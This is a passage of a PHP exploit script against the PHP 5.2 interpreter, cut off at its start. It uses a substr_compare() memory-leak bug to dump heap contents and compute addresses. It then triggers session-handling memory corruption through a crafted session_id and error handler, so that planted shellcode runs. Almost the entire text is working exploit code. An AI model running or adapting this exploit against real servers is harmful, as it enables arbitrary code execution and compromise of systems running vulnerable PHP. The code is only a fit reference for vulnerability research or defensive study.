= 5.2.0"); } findOffsets(); // Comment out if you want to just test the crash // Convert offsets into strings $addr1 = pack("L", $offset_1); $addr2 = pack("L", $offset_2); define("C0", $addr1[0]); define("C1", $addr1[1]); define("C2", $addr1[2]); define("C3", $addr1[3]); define("M0", $addr2[0]); define("M1", $addr2[1]); define("M2", $addr2[2]); define("M3", $addr2[3]); $c=1; function myErrorHandler() { global $c; if ($c==1) { $c=0; return true; } session_id(str_repeat("A", 100)); $GLOBALS['str'] = str_repeat("A", 39); for ($i=0; $i<7; $i++) { $GLOBALS['str'][$i*4+0] = M0; $GLOBALS['str'][$i*4+1] = M1; $GLOBALS['str'][$i*4+2] = M2; $GLOBALS['str'][$i*4+3] = M3; } $GLOBALS['str'][8*4+0] = C0; $GLOBALS['str'][8*4+1] = C1; $GLOBALS['str'][8*4+2] = C2; $GLOBALS['str'][8*4+3] = C3; return true; } function doit() { ini_set("session.hash_bits_per_character", 666); error_reporting(E_ALL); set_error_handler("myErrorHandler"); session_id(str_repeat(":", 39)); session_start(); } doit(); // This function uses the substr_compare() vulnerability // to get the offsets. function findOffsets() { global $offset_1, $offset_2, $shellcode; // We need to NOT clear these variables, // otherwise the heap is too segmented global $memdump, $d, $arr; $sizeofHashtable = 39; $maxlong = 0x7fffffff; // Signature of a big endian Hashtable of size 256 with 1 element $search = "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00"; $memdump = str_repeat("A", 4096); for ($i=0; $i<400; $i++) { $d[$i]=array(); } unset($d[350]); $x = str_repeat("\x01", $sizeofHashtable); unset($d[351]); unset($d[352]); $arr = array(); for ($i=0; $i<129; $i++) { $arr[$i] = 1; } $arr[$shellcode] = 1; for ($i=0; $i<129; $i++) { unset($arr[$i]); } // If the libc memcmp leaks the information use it // otherwise we only get a case insensitive memdump $b = substr_compare(chr(65),chr(0),0,1,false) != 65; for ($i=0; $i<4096; $i++) { $y = substr_compare($x, chr(0), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b); if ($y-$Y == 1 || $Y-$y==1){ $y = chr($y); if ($b && strtoupper($y)!=$y) { if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) { $y = strtoupper($y); } } $memdump[$i] = $y; } else { $y = substr_compare($x, chr(1), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b); if ($y-$Y != 1 && $Y-$y!=1){ $memdump[$i] = chr(1); } else { $memdump[$i] = chr(0); } } } // Search shellcode and hashtable and calculate memory address $pos_shellcode = strpos($memdump, $shellcode); $pos_hashtable = strpos($memdump, $search); $addr = substr($memdump, $pos_hashtable+6*4, 4); $addr = unpack("L", $addr); // Fill in both offsets $offset_1 = $addr[1] + 32; $offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4; } ?>